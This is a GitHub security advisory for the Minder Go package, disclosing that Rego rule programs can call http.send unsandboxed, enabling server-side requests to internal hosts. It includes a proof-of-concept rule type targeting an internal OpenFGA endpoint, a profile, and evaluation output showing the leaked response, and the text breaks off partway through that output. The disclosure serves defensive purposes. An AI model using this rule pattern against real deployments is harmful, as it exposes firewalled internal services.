GitHub Security Advisory: GHSA-6xvf-4vh9-mw47
Package: github.com/mindersec/minder (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-830: Inclusion of Web Functionality from an Untrusted Source
Vulnerable versions: >= 0.0.72, <= 0.0.83
Patched in: 0.0.84

Summary: Minder does not sandbox http.send in Rego programs

Details:
### Impact

Minder users may fetch content in the context of the Minder server, which may include URLs which the user would not normally have access to (for example, if the Minder server is behind a firewall or other network partition).

### Patches

https://github.com/mindersec/minder/commit/f[PII_REDACTED]84649a287d7215410ef108e845af8

### Workarounds

Users should avoid deploying Minder with access to sensitive resources.  Unfortunately, this could include access to systems like OpenFGA or Keycloak, depending on the deployment configuration.

### References

Sample ruletype:

```yaml
version: v1
type: rule-type
name: test-http-send
display_name: Test that we can call http.send
short_failure_message: Failed http.send
severity:
  value: medium
context:
  provider: github
description: |
  ...
guidance: |
  ....
def:
  in_entity: repository
  rule_schema:
    type: object
    properties: {}
  ingest:
    type: git
    git: {}
  eval:
    type: rego
    violation_format: text
    rego:
      type: constraints
      def: |
        package minder

        import rego.v1

        violations contains {"msg": "Check-execution"}

        resp := http.send({
          "method": "GET",
          "url": "http://openfga:8080/",
          "raise_error": false,
        })

        violations contains {"msg": sprintf("Response: %s", [resp.status])}

        details := sprintf("High score: %s", [resp.body.summary])

        violations contains {"msg": sprintf("Response body: %s", [resp.body]) } if {
          resp.status_code > 0
        }
```

Example policy:

```yaml
version: v1
type: profile
name: Test-HTTP-send
display_name: Test if we can do http.send
context:
  provider: github
alert: "off"
remediate: "off"
repository:
  - type: test-http-send
    def: {}
```

Evaluation results:

```sh
$ minder profile status list -n test-http-send --json
{
  "profileStatus": {
    "profileId": "3b3e0918-4deb-49cc-b4c9-1d1d912cf784",
    "profileName": "Test-HTTP-send",
    "profileStatus": "failure",
    "lastUpdated": "2024-10-31T03:44:01.456359Z"
  },
  "ruleEvaluationStatus": [
    {
      "profileId": "3b3e0918-4deb-49cc-b4c9-1d1d912cf784",
      "ruleId": "c0ebac2c-cfe2-4a98-b0a6-d[PII_REDACTED]e",
      "ruleName": "test-http-send",
      "entity": "repository",
      "status": "failure",
      "lastUpdated": "2024-10-31T03:44:01.456359Z",
      "entityInfo": {
        "entity_id": "a7f7a4bc-4430-4e9a-86a9-ffa026db6343",
        "entity_type": "repository",
        "name": "a-random-sandbox/colorls",
        "provider": "github-app-a-random-sandbox",
        "repo_name": "colorls",
        "repo_owner": "a-random-sandbox",
        "repository_id": "a7f7a4bc-4430-4e9a-86a9-ffa026db6343"
      },
      "details": "Multiple issues:\n* Check-execution\n* Response body: {\"code\": \"undefined_endpoint\", \"message\": \"Not Found\"}\n* Response: 404 Not Found\n",
      "guidance": "....\n",
      "remediationStatus": "skipped",
      "remediationLastUpdated": "2024-10-31T03:44:0